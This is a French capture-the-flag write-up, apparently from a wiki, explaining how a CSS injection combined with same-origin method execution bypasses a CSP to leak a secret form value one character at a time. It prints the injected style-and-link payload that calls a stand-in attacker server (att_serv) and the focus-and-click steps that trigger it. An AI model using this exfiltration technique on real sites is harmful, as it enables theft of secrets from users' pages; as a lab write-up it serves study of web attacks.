On a remarqué qu'essayer de mettre un <code><style></code> directement ne fonctionnait pas, mais le mettre juste après un caractère si (<code>/settings?edit=a<style>...</code>).
On veut donc injecter notre propre <code><style></code> pour pouvoir exfiltrer du contenu sur la page en utilisant du CSS. Cependant, la CSP empêchant une CSS exfil basique (en pointant un background vers notre serveur par exemple), on doit passer par un moyen détourné :
<code>a<style>.lnk{display:none}:has(input[name="secret"][value^="R"]) .lnk{display:block}</style> <a id="R" tabindex="0" class="lnk" href="http://att_serv/R">X</a></code>
Action invalide "{ Explication du payload"
}
<code><style>.lnk{display:none}:has(input[name="secret"][value^="R"]) .lnk{display:block}</style></code> Cette partie rend invisible les éléments de la classe <code>lnk</code> grâce à <code>display:none</code> puis regarde si dans la page il y a un input <code>name=secret</code> avec en premier caractère de sa valeur <code>R</code>, si c'est le cas, alors les éléments de la classe <code>lnk</code> sont rendu visibles.
<code><a id="R" tabindex="0" class="lnk" href="http://att_serv/R">X</a></code> Cette partie est le lien qui fera l'exfiltration vers notre serveur, ici <code>/R</code> car cela correspond au caractère que l'on exfiltre. On met donc la classe correspondante à son CSS.
Il ne faut pas oublier le caractère au début du payload (ici <code>a</code>).
On utilise une classe plutôt qu'un id dans le CSS car l'id se référencerait par <code>#id</code> ce qui casserait l'URL.
On pourra donc ensuite faire, grâce à la SOME :
- <code>/settings?edit=opener.R.focus</code> pour focus sur le lien. Effectivement, si le lien est affiché par le CSS, alors on pourra focus dessus, sinon non.
- <code>opener.document.activeElement.click</code> qui permet de cliquer sur l'élément "focusé". Il n'est pas possible d'utiliser un clic directement sur le lien car, bien qu'il soit caché par le CSS, le JS est toujours capable de cliquer dessus (alors que le JS n'est pas capable de focus sur un élément non visible !).
Action invalide "{ POC"
}
Avec cette technique, on ne peut envoyer qu'un payload à la fois car comme on a besoin de faire un focus sur un élément qu'on ne connait pas à l'avance, on aurait eu besoin de tester chaque id, ce qui aurait créé trop de tâches pour le navigateur du bot, qui aurait fini par terminer sa session car les pages se seraient lancées trop lentement.
Une solution à ça cependant aurait été d'utiliser <code>autofocus</code> dans le <code><a></code>, solution qui fonctionne sur Firefox, mais Chrome nécessite que l'utilisateur aille "voir" le tab contenant l'élément a focus avant de pouvoir exécuter le payload de clic, ce qu'on ne peut pas faire.
L'exfiltration complète génère trop de requêtes (comme dit, on doit envoyer des payloads pour tester chaque caractère, et ce sur tout le flag), elle n'est donc pas optimisée et réaliste, voici cependant un POC pour tester un caractère :
Envoyer ensuite au bot <code>http://att_serv/poc.html?step1</code> exécutera l'exfiltration de la première lettre du secret ; si c'est bien <code>R</code>, vous aurez la requête <code>/exfil/R</code> sur votre serveur.
Dans le script complet, le flag contenant des caractères spéciaux, il est nécessaire de les échapper en "CSS HEX" (le hex du caractère avec un antislash devant et un espace à la fin, <code>#</code> devient <code>\23 </code>) car ils peuvent pour certains casser le CSS ou l'URL.
Le processus répété permet l'exfiltration caractère par caractère du flag.
Cette page n'existe pas encore, voulez-vous la créer ?